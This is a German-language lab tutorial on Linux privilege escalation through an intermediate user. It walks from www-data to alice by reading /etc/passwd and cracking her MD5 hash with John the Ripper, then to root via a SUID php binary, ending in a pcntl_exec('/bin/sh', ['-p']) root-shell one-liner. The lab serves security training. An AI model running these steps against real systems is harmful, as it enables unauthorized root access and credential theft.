Einführung
In diesem Lab werden wir lernen, wie man die Rechte auf den Root-Benutzer erhöhen kann, wenn man nicht direkt auf Root-Berechtigungen wechseln kann. Wir erreichen dies, indem wir zunächst auf einen anderen normalen Benutzer wechseln und dann die Rechte dieses Benutzers nutzen, um auf den Root-Benutzer zu wechseln. Dieser Zwischenbenutzer wird als "Sprungbrett"-Benutzer bezeichnet.
Das Ziel dieses Labs besteht darin, die Rechte vom Benutzer www-data auf den Benutzer alice zu erhöhen und dann vom Benutzer alice auf den Root-Benutzer.
Initialisiere die Lab-Umgebung
In diesem Schritt werden wir die Lab-Umgebung initialisieren.
Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis
/home/labex/project:cd /home/labex/projectFühren Sie den folgenden Befehl aus, um die Umgebung für das Lab einzurichten:
./env_setup.sh
Dieser Befehl lädt ein Skript herunter und führt es aus, das die erforderliche Umgebung für das Lab einrichtet. Nach Ausführung dieses Befehls sollten Sie auf den Benutzer www-data gewechselt sein, was einer anfänglichen Shell entspricht, die über eine Web-Schwachstelle erlangt wurde.
Versuch einer SUID-Privilegierhöhung
In diesem Schritt werden wir versuchen, die Rechte mithilfe der SUID (Set User ID)-Technik zu erhöhen. Wir werden nach ausführbaren Dateien suchen, für die das SUID-Bit gesetzt ist, was bedeutet, dass sie mit den Rechten des Dateibesitzers (in diesem Fall root) ausgeführt werden können.
Zunächst suchen wir nach SUID-ausführbaren Dateien, auf die der Benutzer
www-datazugreifen kann:find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txtDieser Befehl durchsucht das gesamte Dateisystem nach Dateien, die vom Root-Benutzer besessen werden und für die das SUID-Bit gesetzt ist (Berechtigungsmodus 4000).
Nach Ausführung des Befehls sollten Sie in der Datei
www-data_suid_files.txteine Liste von SUID-ausführbaren Dateien sehen. Schauen wir uns den Inhalt dieser Datei an:cat ~/www-data_suid_files.txt
In diesem Fall gibt es jedoch keine Dateien, die für eine SUID-Rechteerhöhung geeignet sind.
Untersuche das Home-Verzeichnis
Da wir es nicht geschafft haben, die Rechte mithilfe der SUID-Technik zu erhöhen, lassen Sie uns das Home-Verzeichnis auf potenzielle "Sprungbrett"-Benutzer untersuchen.
Zunächst speichern wir den Inhalt des
/home-Verzeichnisses in einer Datei für eine weitere Analyse:ls -alh /home > ~/home_dir_contents.txtDieser Befehl listet den Inhalt des
/home-Verzeichnisses im ausführlichen Format auf, einschließlich Dateigrößen und Berechtigungen, und speichert es in der Dateihome_dir_contents.txt.Als Nächstes untersuchen wir den Inhalt der Datei
home_dir_contents.txt, um potenzielle Sprungbrett-Benutzer zu identifizieren:cat ~/home_dir_contents.txtIm Output sollten Sie ein Verzeichnis namens
alicesehen, was darauf hinweist, dass es einen Benutzer namensaliceauf dem System gibt.
Versuch, die Privilegien auf den Benutzer Alice zu erhöhen
Da der Benutzer www-data nicht auf das Verzeichnis alice zugreifen kann, müssen wir zunächst einen Weg finden, um die Rechte auf den Benutzer alice zu erhöhen.
Überprüfen wir die Datei
/etc/passwdauf Informationen über den Benutzeralice:cat /etc/passwd | grep alice > ~/alice_info.txtÜberprüfen Sie den Inhalt der Datei
alice_info.txt, um die Details des Benutzersaliceanzuzeigen:cat ~/alice_info.txtErwartete Ausgabe:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bashIn der Ausgabe sollten Sie einen Eintrag für den Benutzer
alicesehen, einschließlich des Passwort-Hashes.Um den Passwort-Hash zu knacken, können wir das Tool
johnverwenden. Öffnen Sie ein neues Terminal und führen Sie den folgenden Befehl aus:john ~/alice_info.txt > cracked_passwords.txtBeispielausgabe:
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedDies startet den Passwort-Knackprozess. Sobald das Passwort geknackt wurde, sollten Sie das Passwort in der Datei
cracked_passwords.txtsehen.cat ~/cracked_passwords.txtBeispielausgabe:
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)In diesem Fall lautet das Passwort für den Benutzer
alicebeautiful. Verwenden Sie den Befehlsu, um auf den Benutzeralicezu wechseln:su - aliceGeben Sie das zuvor geknackte Passwort (
beautiful) ein, wenn Sie dazu aufgefordert werden.beautifulNachdem Sie erfolgreich auf den Benutzer
alicegewechselt haben, navigieren Sie in das Verzeichnisaliceund erstellen Sie eine neue Datei namensalice.txt:cd /home/aliceErstellen Sie eine neue Datei namens
alice.txt:touch ~/alice.txtSie sollten nun Zugang zu dem Verzeichnis
aliceund seinem Inhalt haben.
Versuch einer SUID-Privilegieneskalation als Benutzer Alice
Nachdem wir die Rechte auf den Benutzer alice erhöht haben, versuchen wir erneut die SUID-Rechteerhöhungstechnik.
Stellen Sie sicher, dass Sie sich im Home-Verzeichnis des Benutzers
alicebefinden:cd /home/aliceFühren Sie den folgenden Befehl aus, um Dateien mit gesetztem SUID-Bit zu finden:
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txtÜberprüfen Sie den Inhalt der Datei
alice_suid_files.txt, um die Liste der SUID-Dateien anzuzeigen:cat alice_suid_files.txtErwartete Ausgabe:
... /var/bin/php ...Diesmal sollten Sie im Output eine ausführbare Datei
/var/bin/phpsehen. Diese Datei kann für eine SUID-Rechteerhöhung verwendet werden.Um die Rechte auf den Root-Benutzer zu erhöhen, führen Sie den folgenden Befehl aus:
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"Dieser Befehl führt ein PHP-Skript aus, das eine neue Shell mit Root-Rechten startet.
Sie sollten jetzt eine Root-Shell haben, was durch das
#-Prompt im Terminal angezeigt wird. Überprüfen Sie, dass Sie Root-Rechte haben, indem Sie eine Datei im Root-Verzeichnis erstellen:touch /root/root.txtWenn die Datei ohne Berechtigungsfehler erstellt wird, haben Sie die Rechte erfolgreich auf den Root-Benutzer mithilfe der SUID-Technik erhöht.
Verstehen Sie den Unterschied in den Verzeichnisberechtigungen
Sie fragen sich vielleicht, warum der Benutzer alice die SUID-ausführbare php-Datei finden konnte, während der Benutzer www-data dies nicht konnte. Die Antwort liegt in den Verzeichnisberechtigungen.
Nach dem letzten Schritt sollten Sie immer noch eine Shell als root-Benutzer haben, wie die folgende:
sh-5.1#
Untersuchen wir die Berechtigungen des
/var/bin-Verzeichnisses und speichern die Ausgabe in einer Datei:ls -lh /var > /root/var_permissions.txtÜberprüfen Sie den Inhalt der Datei
var_permissions.txt, um die Berechtigungen des/var-Verzeichnisses anzuzeigen:cat /root/var_permissions.txtErwartete Ausgabe:
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...In der Ausgabe sollten Sie sehen, dass das
/var/bin-Verzeichnis vom Benutzer und der Gruppealicebesessen wird. Andere Benutzer haben keine Lese-, Schreib- oder Ausführungsberechtigungen für dieses Verzeichnis.
Dies bedeutet, dass wir, als wir auf den Benutzer alice hochgestuft wurden, Zugang zu Dateien und Verzeichnissen erhielten, auf die der Benutzer www-data zuvor nicht zugreifen konnte. Dieser Unterschied in den Berechtigungen ermöglichte es uns, die SUID-ausführbare Datei zu finden und für die Rechteerhöhung zu nutzen.
Zusammenfassung
In diesem Lab haben wir gelernt, wie man die Rechte auf den Root-Benutzer erhöhen kann, wenn eine direkte Root-Rechteerhöhung nicht möglich ist. Wir haben dies erreicht, indem wir zunächst auf den Benutzer alice, einen "Sprungbrett"-Benutzer, hochgestuft haben und dann die Rechte des Benutzers alice genutzt haben, um auf den Root-Benutzer zu wechseln.
Der wichtigste Punkt aus diesem Lab ist, immer auf die Unterschiede in den Berechtigungen zwischen Benutzern zu achten, da diese Unterschiede manchmal für eine Rechteerhöhung genutzt werden können. Obwohl wir in diesem Lab ein einfaches Beispiel verwendet haben, können reale Szenarien komplexer sein, aber das Kernprinzip bleibt dasselbe: Nutzen Sie die Unterschiede in den Benutzerberechtigungen, um eine Rechteerhöhung zu erreichen.



